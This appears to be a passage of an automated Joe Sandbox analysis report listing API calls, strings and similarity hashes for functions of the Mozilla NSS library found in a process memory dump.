memset.VCRUNTIME140(00000000,00000000,?), ref: 6C0C8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C0C8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C0C8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C0C8F00
free.MOZGLUE(?), ref: 6C0C8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C0C8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C0C8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C0C8F5B
PR_Unlock.NSS3(?), ref: 6C0C8F72
PR_Unlock.NSS3(?), ref: 6C0C8F82

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: ba8b5ea7fec4d511338d5b49e69d42d860dc8648573cd84c991dab05b9907e2e
Instruction ID: bfb1c71f5838bf7a2c5a3350c39185623fa82603e85526d09f195c5959c71931
Opcode Fuzzy Hash: ba8b5ea7fec4d511338d5b49e69d42d860dc8648573cd84c991dab05b9907e2e
Instruction Fuzzy Hash: 6E5105B2F002159FE7009E68CC85A6EB7F9EF55758B15422AEC089B700E731ED4587E6

Uniqueness

Uniqueness Score: -1.00%

Function 6C0FEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C0FEE0B

Part of subcall function 6C110BE0: malloc.MOZGLUE(6C108D2D,?,00000000,?), ref: 6C110BF8
Part of subcall function 6C110BE0: TlsGetValue.KERNEL32(6C108D2D,?,00000000,?), ref: 6C110C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C0FEEE1

Part of subcall function 6C0F1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C0F1D7E
Part of subcall function 6C0F1D50: EnterCriticalSection.KERNEL32(?), ref: 6C0F1D8E
Part of subcall function 6C0F1D50: PR_Unlock.NSS3(?), ref: 6C0F1DD3

TlsGetValue.KERNEL32 ref: 6C0FEE51
EnterCriticalSection.KERNEL32(?), ref: 6C0FEE65
PR_Unlock.NSS3(?), ref: 6C0FEEA2
free.MOZGLUE(?), ref: 6C0FEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C0FEED0
PR_Unlock.NSS3(?), ref: 6C0FEF48
free.MOZGLUE(?), ref: 6C0FEF68
PR_SetError.NSS3(00000000,00000000), ref: 6C0FEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C0FEFA4
free.MOZGLUE(?), ref: 6C0FEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C0FF055
free.MOZGLUE(?), ref: 6C0FF060

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: c6562644695c499fba2f7807286d8a7abaea68a01d749adec9527e8877eeacbb
Instruction ID: a0600f52edb3d4fa2f1ae4f5d6d0187005fbb88b5649b0cfb339abe788504ae4
Opcode Fuzzy Hash: c6562644695c499fba2f7807286d8a7abaea68a01d749adec9527e8877eeacbb
Instruction Fuzzy Hash: E18160B1A00209ABDB00DF65DC45BDE7BF5BF08318F544024ED29A7651E731E965CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C0C4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C0C4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C0C4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C0C4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C0C4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C0C4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C0C4E85
DER_Encode_Util.NSS3(?,?,6C2105A4,00000000), ref: 6C0C4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C0C4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C0C4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C0C4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C0C4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C0C4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C0C4FC8

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 11f647427894c940a68e3d5f429c07749a7b0258d8464ede7c62d97615aa3a63
Instruction ID: f582ecfabee9eb3746517afb2e27a6ec74526e81cf007c93018c4526b5332c59
Opcode Fuzzy Hash: 11f647427894c940a68e3d5f429c07749a7b0258d8464ede7c62d97615aa3a63
Instruction Fuzzy Hash: 65818F71A08311AFE701CFA4D880B6EB7E4BB84358F15892DF958DB641EB70E905CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6C1CC8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6C1CC8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1CC8DA
malloc.MOZGLUE(00000001), ref: 6C1CC8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C1CC8F8
PR_NewLock.NSS3 ref: 6C1CC909
PR_NewCondVar.NSS3(00000000), ref: 6C1CC918
PR_NewCondVar.NSS3(00000000), ref: 6C1CC92A

Part of subcall function 6C0A0F00: PR_GetPageSize.NSS3(6C0A0936,FFFFE8AE,?,6C0316B7,00000000,?,6C0A0936,00000000,?,6C03204A), ref: 6C0A0F1B
Part of subcall function 6C0A0F00: PR_NewLogModule.NSS3(clock,6C0A0936,FFFFE8AE,?,6C0316B7,00000000,?,6C0A0936,00000000,?,6C03204A), ref: 6C0A0F25

free.MOZGLUE(00000000), ref: 6C1CC947

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: 27f1fe926de5c367fff423965707881573b816412d3c875954d0e5efeb10d4eb
Instruction ID: ca823ca6e8dc08b42ddbc64d6429762ea41e46118478032426f9530e3170c76a
Opcode Fuzzy Hash: 27f1fe926de5c367fff423965707881573b816412d3c875954d0e5efeb10d4eb
Instruction Fuzzy Hash: 3A21C8F1B007029BDB10AF789C1965B76B8EF15658F140539F85BC2B81EB39E518CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 6C0F6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C0F781D,00000000,6C0EBE2C,?,6C0F6B1D,?,?,?,?,00000000,00000000,6C0F781D), ref: 6C0F6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C0F781D,?,6C0EBE2C,?), ref: 6C0F6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C0F781D), ref: 6C0F6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C0F6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C0F6C96

Part of subcall function 6C0A1240: TlsGetValue.KERNEL32(00000040,?,6C0A116C,NSPR_LOG_MODULES), ref: 6C0A1267
Part of subcall function 6C0A1240: EnterCriticalSection.KERNEL32(?,?,?,6C0A116C,NSPR_LOG_MODULES), ref: 6C0A127C
Part of subcall function 6C0A1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C0A116C,NSPR_LOG_MODULES), ref: 6C0A1291
Part of subcall function 6C0A1240: PR_Unlock.NSS3(?,?,?,?,6C0A116C,NSPR_LOG_MODULES), ref: 6C0A12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C0F6CAA

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6C0F6C91
rdb:, xrefs: 6C0F6C69
dbm:, xrefs: 6C0F6C3A
sql:, xrefs: 6C0F6C52
extern:, xrefs: 6C0F6C7E
dbm, xrefs: 6C0F6CA4

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 311a3d8f68bb17968f34b52f62d06e6bb5ba3dc39fe645d0601b1273e2a2760c
Instruction ID: 1b3d488739daeab371401d29e84e63d82adf0f626237c627b42d5e129d83664f
Opcode Fuzzy Hash: 311a3d8f68bb17968f34b52f62d06e6bb5ba3dc39fe645d0601b1273e2a2760c
Instruction Fuzzy Hash: 5C01F2F170230163E60027B95C5FF2735EC9F8154CF140236FE25E0A81EB92E52680F6

Uniqueness

Uniqueness Score: -1.00%

Function 6C0AACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C0AACE2
malloc.MOZGLUE(00000001), ref: 6C0AACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C0AAD02
TlsGetValue.KERNEL32 ref: 6C0AAD3C
calloc.MOZGLUE(00000001,?), ref: 6C0AAD8C
PR_Unlock.NSS3 ref: 6C0AADC0
free.MOZGLUE(00000000), ref: 6C0AAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C0AAE58
free.MOZGLUE(00000000), ref: 6C0AAE69
free.MOZGLUE(?), ref: 6C0AAE78
PR_Unlock.NSS3 ref: 6C0AAE8C
free.MOZGLUE(?), ref: 6C0AAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C0AAEC7

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 51774b8ef36b5199177059bf41e62ee4eb1bd2e751da786814511c7a520c932e
Instruction ID: 0a3c97aa841bea64733a5cb09125458cc1c2cf7ec364c31e6cf444ebdb24f8c1
Opcode Fuzzy Hash: 51774b8ef36b5199177059bf41e62ee4eb1bd2e751da786814511c7a520c932e
Instruction Fuzzy Hash: 645192B0E012159BDF00DFD8C84A76E77F4AB16348F240125DD15A7AC2D731A956CFE2

Uniqueness

Uniqueness Score: -1.00%

Function 6C184C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C184CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C184CFD
sqlite3_value_text16.NSS3(?), ref: 6C184D44

Strings

out of memory, xrefs: 6C184C78, 6C184C9E
bad parameter or other API misuse, xrefs: 6C184D05
another row available, xrefs: 6C184D20
no more rows available, xrefs: 6C184D2E
API call with %s database connection pointer, xrefs: 6C184CF6
unknown error, xrefs: 6C184D56
abort due to ROLLBACK, xrefs: 6C184D27, 6C184D33
invalid, xrefs: 6C184CF1

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 54e2ace057240c81893464d93c78d7df96fc3a4044f9a99229a29f75542ae08e
Instruction ID: 70032d69955c136b8d7912010625d99671cdf66e7018a801db470f585ffd335c
Opcode Fuzzy Hash: 54e2ace057240c81893464d93c78d7df96fc3a4044f9a99229a29f75542ae08e
Instruction Fuzzy Hash: CA31BEB3F0F85157D718862498317E4736D77A6318F06022AD8245BE54DF24BC52CFD2

Uniqueness

Uniqueness Score: -1.00%

Function 6C0B4880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C0B48A2
PORT_NewArena_Util.NSS3(00000800), ref: 6C0B48C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6C0B48D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6C0B48FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6C0B4908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C0B4947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C0B496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C0B4988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C1D8DAC,?), ref: 6C0B49DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C0B49FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C0B4ACB

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: ac516b4d3fc4d9043d561d86b07d229be241172a7393e064262ec2e03472c1e2
Instruction ID: ad5c83d64594dfd250431869a948abc031c326986f9a41e43af10a05df8f94eb
Opcode Fuzzy Hash: ac516b4d3fc4d9043d561d86b07d229be241172a7393e064262ec2e03472c1e2
Instruction Fuzzy Hash: DB51E4B1A04301ABEB10CFA9DC4179B77E4AF4130CF104129E919BBB91E7B2D654CB56

Uniqueness

Uniqueness Score: -1.00%

Function 6C182D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C182D9F

Part of subcall function 6C03CA30: EnterCriticalSection.KERNEL32(?,?,?,6C09F9C9,?,6C09F4DA,6C09F9C9,?,?,6C06369A), ref: 6C03CA7A
Part of subcall function 6C03CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C03CB26

sqlite3_exec.NSS3(?,?,6C182F70,?,?), ref: 6C182DF9
sqlite3_free.NSS3(00000000), ref: 6C182E2C
sqlite3_free.NSS3(?), ref: 6C182E3A
sqlite3_free.NSS3(?), ref: 6C182E52
sqlite3_mprintf.NSS3(6C1EAAF9,?), ref: 6C182E62
sqlite3_free.NSS3(?), ref: 6C182E70
sqlite3_free.NSS3(?), ref: 6C182E89
sqlite3_free.NSS3(?), ref: 6C182EBB
sqlite3_free.NSS3(?), ref: 6C182ECB
sqlite3_free.NSS3(00000000), ref: 6C182F3E
sqlite3_free.NSS3(?), ref: 6C182F4C

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 0e6812b4e1b06e19ff9d401c5bf66f369b148294087d9ebea90e6e7e7407eed6
Instruction ID: 3cacdc0a5c4b486960cd31dabd17ea08fc8827bf6466c4187a7e7a5415afb9cb
Opcode Fuzzy Hash: 0e6812b4e1b06e19ff9d401c5bf66f369b148294087d9ebea90e6e7e7407eed6
Instruction Fuzzy Hash: 9A618DB5E0A2168BEB01CF68D884B9EBBF1EF58348F154028EC55A7741E735E844CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C034C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034CB0
PR_Unlock.NSS3(?,?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034D97
PR_Lock.NSS3(?,?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034DBA
PR_WaitCondVar.NSS3 ref: 6C034DD4
PR_Unlock.NSS3(?,?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034DEF

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 377df7866090dc2842358da32980cecaf92dc86229662bf8970bfea0782b15bf
Instruction ID: 2fc699aeac1d824de56e19b45ee658d7be52ea70c53f5c2a34090f80772ed20f
Opcode Fuzzy Hash: 377df7866090dc2842358da32980cecaf92dc86229662bf8970bfea0782b15bf
Instruction Fuzzy Hash: C9417FB1A146669FCF00AFB9C08865D7BF4BF06314F054669DC889BB50EB32D884CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C0BE910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6C0BE93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6C0BE94E
PORT_Alloc_Util.NSS3(00000001), ref: 6C0BE995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C0BE9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6C0BE9CA
PORT_Strdup_Util.NSS3(6C1F933E), ref: 6C0BEA17
PORT_Alloc_Util.NSS3(00000001), ref: 6C0BEA28

Part of subcall function 6C110BE0: malloc.MOZGLUE(6C108D2D,?,00000000,?), ref: 6C110BF8
Part of subcall function 6C110BE0: TlsGetValue.KERNEL32(6C108D2D,?,00000000,?), ref: 6C110C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C0BEA3C
free.MOZGLUE(?), ref: 6C0BEA69

Strings

http://, xrefs: 6C0BE935

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: b2649981de5cbd318e7ddb759e1166079617f62077d0c11ccef9fdaad6e6f2e9
Instruction ID: 5bb1a38a52988e255a43fd07ce7ff6d78fdce0b161906dca07dc0a5753278062
Opcode Fuzzy Hash: b2649981de5cbd318e7ddb759e1166079617f62077d0c11ccef9fdaad6e6f2e9
Instruction Fuzzy Hash: 08417C649446065BEB60CA688C817EE77E9AB0734CF5401A1DCB4F7F41E233A54FC2E6

Uniqueness

Uniqueness Score: -1.00%

Function 6C0FECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C0FDE64), ref: 6C0FED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C0FED22

Part of subcall function 6C10B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C1E18D0,?), ref: 6C10B095

PL_FreeArenaPool.NSS3(?), ref: 6C0FED4A
PL_FinishArenaPool.NSS3(?), ref: 6C0FED6B
PR_CallOnce.NSS3(6C212AA4,6C1112D0), ref: 6C0FED38

Part of subcall function 6C034C70: TlsGetValue.KERNEL32(?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034C97
Part of subcall function 6C034C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034CB0
Part of subcall function 6C034C70: PR_Unlock.NSS3(?,?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C0FED52
PR_CallOnce.NSS3(6C212AA4,6C1112D0), ref: 6C0FED83
PL_FreeArenaPool.NSS3(?), ref: 6C0FED95
PL_FinishArenaPool.NSS3(?), ref: 6C0FED9D

